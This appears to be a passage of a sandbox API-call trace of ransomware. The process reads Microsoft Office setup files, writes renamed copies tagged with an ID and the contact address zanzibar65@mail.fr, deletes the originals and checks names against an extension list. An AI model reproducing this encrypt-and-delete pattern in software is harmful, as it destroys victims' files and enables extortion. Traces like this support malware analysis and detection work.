lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.146] SetEndOfFile (hFile=0x1cc) returned 1 [0038.146] CloseHandle (hObject=0x1cc) returned 1 [0038.146] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0038.147] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml")) returned 1 [0038.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0038.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0038.147] lstrlenW (lpString=".doc") returned 4 [0038.147] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.147] lstrlenW (lpString=".docx") returned 5 [0038.147] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0038.147] lstrlenW (lpString=".pdf") returned 4 [0038.147] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.147] lstrlenW (lpString=".xls") returned 4 [0038.147] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.147] lstrlenW (lpString=".xlsx") returned 5 [0038.147] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0038.147] lstrlenW (lpString=".ppt") returned 4 [0038.147] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0038.147] lstrlenW (lpString=".zip") returned 4 [0038.147] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.147] lstrlenW (lpString=".rar") returned 4 [0038.147] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.147] lstrlenW (lpString=".bz2") returned 4 [0038.147] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.147] lstrlenW (lpString=".7z") returned 3 [0038.147] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0038.148] lstrlenW (lpString=".dbf") returned 4 [0038.148] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0038.148] lstrlenW (lpString=".1cd") returned 4 [0038.148] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0038.148] lstrlenW (lpString=".jpg") returned 4 [0038.148] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0038.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0038.148] lstrlenW (lpString=".doc") returned 4 [0038.148] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.148] lstrlenW (lpString=".docx") returned 5 [0038.148] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0038.148] lstrlenW (lpString=".pdf") returned 4 [0038.148] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.148] lstrlenW (lpString=".xls") returned 4 [0038.148] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.148] lstrlenW (lpString=".xlsx") returned 5 [0038.148] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0038.148] lstrlenW (lpString=".ppt") returned 4 [0038.148] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0038.148] lstrlenW (lpString=".zip") returned 4 [0038.148] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.148] lstrlenW (lpString=".rar") returned 4 [0038.148] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.148] lstrlenW (lpString=".bz2") returned 4 [0038.148] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.148] lstrlenW (lpString=".7z") returned 3 [0038.148] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0038.148] lstrlenW (lpString=".dbf") returned 4 [0038.149] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0038.149] lstrlenW (lpString=".1cd") returned 4 [0038.149] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0038.149] lstrlenW (lpString=".jpg") returned 4 [0038.149] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.149] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0038.149] lstrlenW (lpString="ExcelMUI.XML") returned 12 [0038.149] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0038.149] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=1565) returned 1 [0038.149] CloseHandle (hObject=0x1cc) returned 1 [0038.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml")) returned 0x20 [0038.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0038.149] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0038.150] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.150] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.150] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0038.150] GetLastError () returned 0x0 [0038.150] ReadFile (in: hFile=0x1cc, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x61d, lpOverlapped=0x0) returned 1 [0038.151] WriteFile (in: hFile=0x1d0, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x620, lpOverlapped=0x0) returned 1 [0038.152] ReadFile (in: hFile=0x1cc, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0038.152] WriteFile (in: hFile=0x1d0, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0038.153] SetEndOfFile (hFile=0x1d0) returned 1 [0038.153] CloseHandle (hObject=0x1d0) returned 1 [0038.153] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.153] SetEndOfFile (hFile=0x1cc) returned 1 [0038.154] CloseHandle (hObject=0x1cc) returned 1 [0038.154] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0038.154] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml")) returned 1 [0038.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0038.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0038.155] lstrlenW (lpString=".doc") returned 4 [0038.155] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.155] lstrlenW (lpString=".docx") returned 5 [0038.155] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0038.155] lstrlenW (lpString=".pdf") returned 4 [0038.155] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.155] lstrlenW (lpString=".xls") returned 4 [0038.155] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.155] lstrlenW (lpString=".xlsx") returned 5 [0038.155] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0038.155] lstrlenW (lpString=".ppt") returned 4 [0038.155] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0038.155] lstrlenW (lpString=".zip") returned 4 [0038.155] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.155] lstrlenW (lpString=".rar") returned 4 [0038.155] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.155] lstrlenW (lpString=".bz2") returned 4 [0038.155] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.155] lstrlenW (lpString=".7z") returned 3 [0038.155] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0038.155] lstrlenW (lpString=".dbf") returned 4 [0038.155] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0038.155] lstrlenW (lpString=".1cd") returned 4 [0038.155] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0038.155] lstrlenW (lpString=".jpg") returned 4 [0038.155] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0038.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0038.156] lstrlenW (lpString=".doc") returned 4 [0038.156] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.156] lstrlenW (lpString=".docx") returned 5 [0038.156] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0038.156] lstrlenW (lpString=".pdf") returned 4 [0038.156] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.156] lstrlenW (lpString=".xls") returned 4 [0038.156] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.156] lstrlenW (lpString=".xlsx") returned 5 [0038.156] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0038.156] lstrlenW (lpString=".ppt") returned 4 [0038.156] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0038.156] lstrlenW (lpString=".zip") returned 4 [0038.156] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.156] lstrlenW (lpString=".rar") returned 4 [0038.156] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.156] lstrlenW (lpString=".bz2") returned 4 [0038.156] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.156] lstrlenW (lpString=".7z") returned 3 [0038.156] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0038.156] lstrlenW (lpString=".dbf") returned 4 [0038.156] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0038.156] lstrlenW (lpString=".1cd") returned 4 [0038.156] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0038.156] lstrlenW (lpString=".jpg") returned 4 [0038.156] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.157] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0038.157] lstrlenW (lpString="SETUP.XML") returned 9 [0038.157] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0038.157] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=2296) returned 1 [0038.157] CloseHandle (hObject=0x1cc) returned 1 [0038.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml")) returned 0x20 [0038.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0038.158] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0038.158] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.158] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.158] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0038.162] GetLastError () returned 0x0 [0038.162] ReadFile (in: hFile=0x1cc, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x8f8, lpOverlapped=0x0) returned 1 [0038.164] WriteFile (in: hFile=0x180, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x900, lpOverlapped=0x0) returned 1 [0038.165] ReadFile (in: hFile=0x1cc, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0038.165] WriteFile (in: hFile=0x180, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0038.165] SetEndOfFile (hFile=0x180) returned 1 [0038.165] CloseHandle (hObject=0x180) returned 1 [0038.165] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.165] SetEndOfFile (hFile=0x1cc) returned 1 [0038.166] CloseHandle (hObject=0x1cc) returned 1 [0038.166] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0038.166] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml")) returned 1 [0038.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0038.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0038.167] lstrlenW (lpString=".doc") returned 4 [0038.167] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.167] lstrlenW (lpString=".docx") returned 5 [0038.167] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0038.167] lstrlenW (lpString=".pdf") returned 4 [0038.167] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.167] lstrlenW (lpString=".xls") returned 4 [0038.167] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.167] lstrlenW (lpString=".xlsx") returned 5 [0038.167] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0038.167] lstrlenW (lpString=".ppt") returned 4 [0038.167] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0038.167] lstrlenW (lpString=".zip") returned 4 [0038.167] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.167] lstrlenW (lpString=".rar") returned 4 [0038.167] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.167] lstrlenW (lpString=".bz2") returned 4 [0038.167] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.167] lstrlenW (lpString=".7z") returned 3 [0038.167] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0038.167] lstrlenW (lpString=".dbf") returned 4 [0038.167] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0038.167] lstrlenW (lpString=".1cd") returned 4 [0038.167] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0038.168] lstrlenW (lpString=".jpg") returned 4 [0038.874] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0038.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0038.875] lstrlenW (lpString=".doc") returned 4 [0038.875] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.875] lstrlenW (lpString=".docx") returned 5 [0038.875] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0038.875] lstrlenW (lpString=".pdf") returned 4 [0038.875] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.875] lstrlenW (lpString=".xls") returned 4 [0038.875] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.875] lstrlenW (lpString=".xlsx") returned 5 [0038.875] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0038.875] lstrlenW (lpString=".ppt") returned 4 [0038.875] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0038.875] lstrlenW (lpString=".zip") returned 4 [0038.875] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.875] lstrlenW (lpString=".rar") returned 4 [0038.875] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.875] lstrlenW (lpString=".bz2") returned 4 [0038.875] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.875] lstrlenW (lpString=".7z") returned 3 [0038.875] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0038.875] lstrlenW (lpString=".dbf") returned 4 [0038.875] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0038.875] lstrlenW (lpString=".1cd") returned 4 [0038.875] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0038.875] lstrlenW (lpString=".jpg") returned 4 [0038.875] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.876] lstrcmpiW (lpString1=".CHM", lpString2=".html") returned -1 [0038.876] lstrlenW (lpString="PSS10O.CHM") returned 10 [0038.876] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0039.807] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=26929) returned 1 [0039.817] CloseHandle (hObject=0x1ec) returned 1 [0039.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm")) returned 0x20 [0039.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0039.834] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0039.842] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.843] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.843] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0039.843] GetLastError () returned 